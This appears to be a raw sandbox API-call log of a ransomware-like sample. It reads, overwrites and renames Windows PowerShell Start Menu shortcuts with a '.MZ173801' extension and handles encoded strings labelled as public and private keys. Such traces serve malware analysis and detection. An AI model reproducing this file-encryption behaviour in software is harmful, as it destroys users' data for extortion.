lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0202.458] GetCurrentThreadId () returned 0xab4 [0202.458] GetCurrentThreadId () returned 0xab4 [0202.458] GetCurrentThreadId () returned 0xab4 [0202.458] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\Windows PowerShell ISE.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\windows powershell\\windows powershell ise.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0202.458] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f474*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f474*=0) returned 0x0 [0202.458] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0202.458] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x4fa [0202.458] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0202.458] ReadFile (in: hFile=0x330, lpBuffer=0x24d7430, nNumberOfBytesToRead=0x4fa, lpNumberOfBytesRead=0x19f480, lpOverlapped=0x0 | out: lpBuffer=0x24d7430*, lpNumberOfBytesRead=0x19f480*=0x4fa, lpOverlapped=0x0) returned 1 [0202.460] CloseHandle (hObject=0x330) returned 1 [0202.460] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\Windows PowerShell ISE.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\windows powershell\\windows powershell ise.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0202.956] WriteFile (in: hFile=0x330, lpBuffer=0x24d9460*, nNumberOfBytesToWrite=0x4fa, lpNumberOfBytesWritten=0x19f48c, lpOverlapped=0x0 | out: lpBuffer=0x24d9460*, lpNumberOfBytesWritten=0x19f48c*=0x4fa, lpOverlapped=0x0) returned 1 [0202.957] CloseHandle (hObject=0x330) returned 1 [0203.246] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\Windows PowerShell ISE.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\windows powershell\\windows powershell ise.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\Windows PowerShell ISE.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\windows powershell\\windows powershell ise.lnk.mz173801")) returned 1 [0203.719] GetCurrentThreadId () returned 0xab4 [0203.719] GetCurrentThreadId () returned 0xab4 [0203.719] GetCurrentThreadId () returned 0xab4 [0203.719] GetCurrentThreadId () returned 0xab4 [0203.719] GetCurrentThreadId () returned 0xab4 [0203.719] GetCurrentThreadId () returned 0xab4 [0203.719] FindNextFileW (in: hFindFile=0xa1b508, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x210ad1cc, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xc5fb62ca, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8bc, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Windows PowerShell.lnk", cAlternateFileName="WINDOW~1.LNK")) returned 1 [0203.719] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0203.719] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0203.719] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\Windows PowerShell.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\windows powershell\\windows powershell.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19f4c0 | out: lpFileInformation=0x19f4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x210ad1cc, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xc5fb62ca, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8bc)) returned 1 [0203.720] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\Windows PowerShell.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\windows powershell\\windows powershell.lnk")) returned 0x20 [0203.720] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\Windows PowerShell.lnk", dwFileAttributes=0x80) returned 1 [0203.846] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0203.846] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24be5cc, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", lpUsedDefaultChar=0x0) returned 2417 [0203.847] GetCurrentThreadId () returned 0xab4 [0203.847] GetCurrentThreadId () returned 0xab4 [0203.847] GetCurrentThreadId () returned 0xab4 [0203.848] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0203.848] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24cf62c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0203.848] GetCurrentThreadId () returned 0xab4 [0203.848] GetCurrentThreadId () returned 0xab4 [0203.848] GetCurrentThreadId () returned 0xab4 [0203.849] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\Windows PowerShell.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\windows powershell\\windows powershell.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0203.849] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f474*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f474*=0) returned 0x0 [0203.849] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0203.849] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x8bc [0203.849] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0203.849] ReadFile (in: hFile=0x330, lpBuffer=0x24d7430, nNumberOfBytesToRead=0x8bc, lpNumberOfBytesRead=0x19f480, lpOverlapped=0x0 | out: lpBuffer=0x24d7430*, lpNumberOfBytesRead=0x19f480*=0x8bc, lpOverlapped=0x0) returned 1 [0203.851] CloseHandle (hObject=0x330) returned 1 [0203.851] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\Windows PowerShell.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\windows powershell\\windows powershell.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0203.965] WriteFile (in: hFile=0x330, lpBuffer=0x24d9460*, nNumberOfBytesToWrite=0x8bc, lpNumberOfBytesWritten=0x19f48c, lpOverlapped=0x0 | out: lpBuffer=0x24d9460*, lpNumberOfBytesWritten=0x19f48c*=0x8bc, lpOverlapped=0x0) returned 1 [0203.967] CloseHandle (hObject=0x330) returned 1 [0204.079] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\Windows PowerShell.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\windows powershell\\windows powershell.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\Windows PowerShell.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\windows powershell\\windows powershell.lnk.mz173801")) returned 1 [0204.829] GetCurrentThreadId () returned 0xab4 [0204.829] GetCurrentThreadId () returned 0xab4 [0204.829] GetCurrentThreadId () returned 0xab4 [0204.829] GetCurrentThreadId () returned 